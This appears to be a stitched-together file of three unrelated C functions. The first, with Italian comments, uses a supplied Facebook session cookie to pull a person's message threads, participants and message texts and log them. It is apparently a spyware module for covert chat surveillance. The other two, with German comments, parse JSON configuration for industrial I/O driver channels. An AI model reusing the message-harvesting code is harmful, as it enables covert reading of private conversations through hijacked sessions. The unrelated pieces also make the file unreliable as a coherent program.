BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS) { BOOL bIncoming; WCHAR strUrl[256]; CHAR strThreadId[512]; CHAR strPeersId[256]; CHAR strPeers[512]; CHAR strAuthor[256]; CHAR strAuthorId[256]; DWORD dwRet, dwBufferSize; LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2; LPSTR strMsgBody = NULL; dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); //FIXME: array if (dwRet != SOCIAL_REQUEST_SUCCESS) return FALSE; strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END); if (!strParser1) { zfree(strRecvBuffer); return NULL; } *strParser1 = 0; // fine lista strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID); if (!strParser1) { zfree(strRecvBuffer); return FALSE; } for (;;) { // get thread status and skip if unread strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2); if (strParser2) { strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2); if (*strParser2 != '0') // unread { strParser1 = strParser2; continue; } } else break; strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2); if (!strParser1) break; strParser1 += strlen(FB_THREAD_IDENTIFIER_V2); strParser2 = strchr(strParser1, '"'); if (!strParser2) break; *strParser2 = 0; SecureZeroMemory(strUrl, 256); SecureZeroMemory(strThreadId, 512); strcpy_s(strThreadId, 512, strParser1); URLDecode(strThreadId); _snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId); //FIXME: array strParser1 = strParser2 + 1; // cerca id partecipanti BOOL bAmIPresent = FALSE; SecureZeroMemory(strPeersId, sizeof(strPeersId)); for (;;) { strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER); if (!strParser2) break; strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER); strParser2 = strchr(strParser1, '"'); if (!strParser2) break; *strParser2 = 0; if (!strcmp(strParser1, strUserId)) bAmIPresent = TRUE; if (strlen(strPeersId) == 0) _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1); else _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1); strParser1 = strParser2 + 1; if (*strParser1 == ']') break; } if (!bAmIPresent) _snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId); // controlla timestamp strParser1 = strstr(strParser1, FB_MESSAGE_TSTAMP_IDENTIFIER_V2); if (!strParser1) break; strParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER_V2); DWORD dwCurrTS; CHAR strTimeStamp[11]; SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp)); memcpy(strTimeStamp, strParser1, 10); dwCurrTS = atoi(strTimeStamp); if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS) continue; // salva timestamp se piu' recente SocialSetLastTimestamp(strUserId, dwCurrTS, 0); // get thread's messages DWORD dwBuffSize2; dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer2, &dwBuffSize2, strCookie); //FIXME: array if (dwRet != SOCIAL_REQUEST_SUCCESS) { zfree(strRecvBuffer); return FALSE; } // get peers screen name, strInnerParser1 = strRecvBuffer2; strInnerParser1 = strstr(strInnerParser1, FB_THREAD_AUTHOR_IDENTIFIER_V2); if (!strInnerParser1) { zfree(strRecvBuffer2); continue; } strInnerParser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER_V2); strInnerParser2 = strstr(strInnerParser1, " - "); if (!strInnerParser2) { zfree(strRecvBuffer2); continue; } *strInnerParser2 = 0; _snprintf_s(strPeers, sizeof(strPeers), _TRUNCATE, "%s, %s", strScreenName, strInnerParser1); strInnerParser1 = strRecvBuffer2; for (;;) { strInnerParser1 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER); if (!strInnerParser1) break; strInnerParser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER); SecureZeroMemory(strTimeStamp, sizeof(strTimeStamp)); memcpy(strTimeStamp, strInnerParser1, 10); dwCurrTS = atoi(strTimeStamp); if (dwCurrTS > 2000000000 || dwCurrTS <= dwLastTS) continue; SocialSetLastTimestamp(strUserId, dwCurrTS, 0); strInnerParser2 = strstr(strInnerParser1, FB_MESSAGE_AUTHOR_IDENTIFIER); if (!strInnerParser2) break; *strInnerParser2 = 0; strInnerParser1 = strInnerParser2; for (;*(strInnerParser1) != '>' && strInnerParser1 > strRecvBuffer2; strInnerParser1--); if (strInnerParser1 <= strRecvBuffer2) break; strInnerParser1++; _snprintf_s(strAuthor, sizeof(strAuthor), _TRUNCATE, "%s", strInnerParser1); strInnerParser1--; for (;*(strInnerParser1) != '\\' && strInnerParser1 > strRecvBuffer2; strInnerParser1--); if (strInnerParser1 <= strRecvBuffer2) break; *strInnerParser1 = 0; for (;*(strInnerParser1) != '=' && strInnerParser1 > strRecvBuffer2; strInnerParser1--); if (strInnerParser1 <= strRecvBuffer2) break; strInnerParser1++; _snprintf_s(strAuthorId, sizeof(strAuthorId), _TRUNCATE, "%s", strInnerParser1); strInnerParser1 = strInnerParser2 + 1; if (!strcmp(strAuthorId, strUserId)) bIncoming = FALSE; else bIncoming = TRUE; DWORD dwMsgPartSize, dwMsgBodySize; dwMsgPartSize = dwMsgBodySize = 0; zfree(strMsgBody); // questo e' NULL al primo giro, zfree se lo smazza. for (;;) { LPSTR strMsgParser1, strMsgParser2; strMsgParser1 = strstr(strInnerParser1, FB_MESSAGE_BODY_IDENTIFIER); if (!strMsgParser1) break; // no moar body, parte un altro timestamp strMsgParser2 = strstr(strInnerParser1, FB_MESSAGE_TSTAMP_IDENTIFIER); if (strMsgParser2 && strMsgParser2<strMsgParser1) break; strInnerParser1 = strMsgParser1; strInnerParser1 = strstr(strInnerParser1, "p>"); //FIXME: array if (!strInnerParser1) break; strInnerParser1 += strlen("p>"); strInnerParser2 = strstr(strInnerParser1, "\\u003C\\/p>"); //FIXME: array if (!strInnerParser2) break; *strInnerParser2 = 0; DWORD dwMsgPartSize = strlen(strInnerParser1); strMsgParser1 = (LPSTR) realloc(strMsgBody, dwMsgBodySize + dwMsgPartSize + strlen(FB_NEW_LINE) + sizeof(WCHAR)); if (!strMsgParser1) break; // se non e' il primo body, mette a capo if (strMsgBody) { memcpy(strMsgParser1 + dwMsgBodySize, FB_NEW_LINE, strlen(FB_NEW_LINE)); dwMsgBodySize += strlen(FB_NEW_LINE); } strMsgBody = strMsgParser1; memcpy(strMsgBody + dwMsgBodySize, strInnerParser1, dwMsgPartSize); dwMsgBodySize += dwMsgPartSize; memset(strMsgBody + dwMsgBodySize, 0x0, sizeof(WCHAR)); strInnerParser1 = strInnerParser2 + 1; } if (strMsgBody) { struct tm tstamp; _gmtime32_s(&tstamp, (__time32_t *)&dwCurrTS); tstamp.tm_year += 1900; tstamp.tm_mon++; JsonDecode(strMsgBody); SocialLogIMMessageA(CHAT_PROGRAM_FACEBOOK, strPeers, strPeersId, strAuthor, strAuthorId, strMsgBody, &tstamp, bIncoming); zfree(strMsgBody); strMsgBody = NULL; } else break; } zfree(strRecvBuffer2); } zfree(strRecvBuffer); return TRUE; }
//*********************************************************************************** // Funktion: Der Aufruf erfolgt automatisch, wenn der json-Parameter='{\"...\"}' // mit einem String aufgerufen wird. Als Format wird JSON-Syntax erwartet. // Folgende JSON-Elemente werden gesucht und in die Werte in den // entsprechenden Driver-Übergabeparametern abgelegt. // <JSON> // oControl.Command (e_Start,e_Stop Driver) ==> command // { // oDevices[0-3].oValue.Name ==> out_name_queue[0-3] // oDevices[0-3].oValue.Value ==> output_[0-3] // } // Anschließend wird ao4_objects_generic() aufgerufen - und die Eingabe- // parameter zum Teil kontrolliert. Je nach Wichtigkeit erfolgt eine // genaue Überprüfung oder z.B. nur der Längencheck. // //************************************************************************************ ssize_t ao4_objects_json(const char * json) { JsonDecode_State D; elivator ctx; ssize_t len = strlen(json); int _ch = 0; char _buf[JSON_LIMIT_SIZE+1]; char _name[PROPERTY_SIZE+1]; u16 _out_val; DEBUG(MCT_DEBUG_LEVEL2, "%s %s()\n",__FILE__, __FUNCTION__); if(len == 0 || len > JSON_LIMIT_SIZE+1) { DEBUG(MCT_DEBUG_LEVEL3, "%s %s(): %s\n", __FILE__,__FUNCTION__, "Parameter json with corrupt limit size!"); return -1; } ///------------------ /// DRIVER ///------------------ DEBUG(MCT_DEBUG_LEVEL3, "JSON: Start\n"); /// COMMAND memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); Context_Build(&ctx, &jsonkey_command[0], sizeof(jsonkey_command)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: Integer if(!ctx.err.number && ctx.val.v.type == vType_int && ctx.val.vI.value) command = ctx.val.vI.value; /// ARGUMENT: command DEBUG(MCT_DEBUG_LEVEL3, "JSON-DRV: command %d\n", command); ///------------------ /// OUTPUT DEVICES ///------------------ for (_ch= 0; _ch < DEV_MCT_PAA_AO4_OUT_MAX; _ch++) { memset(_name,0, sizeof(_name)); _out_val = 0; /// VALUE memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); jsonkey_output[1].nA.node = _ch; // Offset beachten! Context_Build(&ctx, &jsonkey_output[0], sizeof(jsonkey_output)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: Integer , 3.Integer > 0 if(!ctx.err.number && ctx.val.v.type == vType_int && ctx.val.vI.value) _out_val = ctx.val.vI.value; DEBUG(MCT_DEBUG_LEVEL3, "JSON-DEV-OUT-%d: value %d\n",_ch, _out_val); /// NAME memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); jsonkey_o_name[1].nA.node = _ch; Context_Build(&ctx, &jsonkey_o_name[0], sizeof(jsonkey_o_name)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: String, 3.Längenkontrolle if(!ctx.err.number && ctx.val.v.type == vType_str && (strlen(ctx.val.vS.value)<= PROPERTY_SIZE)) { memcpy(&_name,&ctx.val.vS.value,strlen(ctx.val.vS.value)); } DEBUG(MCT_DEBUG_LEVEL3, "JSON-DEV-OUT-%d: name %s\n",_ch, _name); /// Mappe alle Werte auf die Argument-Variablen, diese werden dann ausgewertet /// out_name_queue_[0...3] /// output_[0..3] switch (_ch) { case DEV_MCT_PAA_AO4_OUT_0: memcpy(out_name_queue[_ch],&_name,strlen(_name)+1); output_0 = _out_val; break; case DEV_MCT_PAA_AO4_OUT_1: memcpy(out_name_queue[_ch],&_name,strlen(_name)+1); output_1 = _out_val; break; case DEV_MCT_PAA_AO4_OUT_2: memcpy(out_name_queue[_ch],&_name,strlen(_name)+1); output_2 = _out_val; break; case DEV_MCT_PAA_AO4_OUT_3: memcpy(out_name_queue[_ch],&_name,strlen(_name)+1); output_3 = _out_val; break; default: DEBUG(MCT_DEBUG_LEVEL3, "%s %s(): %s %d\n", __FILE__, __FUNCTION__, "Attention unsupported Device_OUT number!", _ch); break; } } DEBUG(MCT_DEBUG_LEVEL3, "JSON: End\n"); return len; }
//*********************************************************************************** // Funktion: Der Aufruf erfolgt automatisch, wenn der json-Parameter='{\"...\"}' // mit einem String aufgerufen wird. Als Format wird JSON-Syntax erwartet. // Folgende JSON-Elemente werden gesucht und in die Werte in den // entsprechenden Driver-Übergabeparametern abgelegt. // <JSON> // oControl.Command (e_Start,e_Stop Driver) ==> command // { // oDevices[0].oValues[x].Name ==> out_name_x // oDevices[0].oValues[x].Value ==> output // } // { // oDevices[1].oValues[x].Name ==> in_name_x // } // Anschließend wird dio_objects_generic() aufgerufen - und die Eingabe- // parameter zum Teil kontrolliert. Je nach Wichtigkeit erfolgt eine // genaue Überprüfung oder z.B. nur der Längencheck. // //************************************************************************************ ssize_t dio_objects_json(const char * json) { JsonDecode_State D; elivator ctx; ssize_t len = strlen(json); int _ch = 0; int _bits = 0; unsigned long _output = 0; char _buf[JSON_LIMIT_SIZE+1]; char _name[PROPERTY_SIZE+1]; DEBUG(MCT_DEBUG_LEVEL2, "%s %s()\n",__FILE__, __FUNCTION__); if(len == 0 || len > JSON_LIMIT_SIZE+1) { DEBUG(MCT_DEBUG_LEVEL3, "%s %s(): %s\n", __FILE__,__FUNCTION__, "Parameter json with corrupt limit size!"); return -1; } ///------------------ /// DRIVER ///------------------ DEBUG(MCT_DEBUG_LEVEL3, "JSON: Start\n"); /// COMMAND memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); Context_Build(&ctx, &jsonkey_command[0], sizeof(jsonkey_command)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: Integer if(!ctx.err.number && ctx.val.v.type == vType_int && ctx.val.vI.value) command = ctx.val.vI.value; /// ARGUMENT: command DEBUG(MCT_DEBUG_LEVEL3, "JSON-DRV: command %d\n", command); ///------------------ /// DEVICE OUTPUT ///------------------ /// BIT-VALUES for (_ch= 0; _ch < OUTPUT_ELEMENTS; _ch++) { memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); jsonkey_bits[3].nA.node = _ch; // Outputs++ Context_Build(&ctx, &jsonkey_bits[0], sizeof(jsonkey_bits)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: Integer, 3. Integer > 0 if(!ctx.err.number && ctx.val.v.type == vType_int && ctx.val.vI.value){ _bits = ctx.val.vI.value; _output = _output | (_bits << _ch); } } output = _output; /// ARGUMENT: output (packed) DEBUG(MCT_DEBUG_LEVEL3, "JSON-DEV-OUT-0: output %ld\n", _output); /// NAME for (_ch= 0; _ch < OUTPUT_ELEMENTS; _ch++) { memset(_name,0, sizeof(_name)); // immer löschen // NAME memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); jsonkey_name[1].nA.node = 0; // Output-Device jsonkey_name[3].nA.node = _ch; // Outputs++ Context_Build(&ctx, &jsonkey_name[0], sizeof(jsonkey_name)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: String, 3.Längenkontrolle if(!ctx.err.number && ctx.val.v.type == vType_str && (strlen(ctx.val.vS.value)<= PROPERTY_SIZE)) { memcpy(&_name,&ctx.val.vS.value,strlen(ctx.val.vS.value)); strcpy(out_name_queue[_ch] ,_name); /// ARGUMENT: out_name_queue[x] points to out_name[x] DEBUG(MCT_DEBUG_LEVEL3, "JSON-DEV-OUT-0: name-%d %s\n",_ch, _name); } } ///------------- /// DEVICE INPUT ///------------- /// NAME for (_ch= 0; _ch < INPUT_ELEMENTS; _ch++) { memset(_name,0, sizeof(_name)); // immer löschen // NAME memcpy(_buf,json,len); // Context-Part Context_Init(&ctx, &D); jsonkey_name[1].nA.node = 1; // Input-Device jsonkey_name[3].nA.node = _ch; // Inputs++ Context_Build(&ctx, &jsonkey_name[0], sizeof(jsonkey_name)); // Decoder-Part JsonDecode_Init(&D,&ctx); JsonDecode(&D, _buf, len); // Fehlerüberwachung: 1.Parserdurchlauf i.O, 2.Returnwert: String, 3.Längenkontrolle if(!ctx.err.number && ctx.val.v.type == vType_str && (strlen(ctx.val.vS.value)<= PROPERTY_SIZE)) { memcpy(&_name,&ctx.val.vS.value,strlen(ctx.val.vS.value)); strcpy(in_name_queue[_ch] ,_name); /// ARGUMENT: in_name_queue[x] points to in_name[x] DEBUG(MCT_DEBUG_LEVEL3, "JSON-DEV-IN-0: name-%d %s\n",_ch, _name); } } DEBUG(MCT_DEBUG_LEVEL3, "JSON: End\n"); return len; }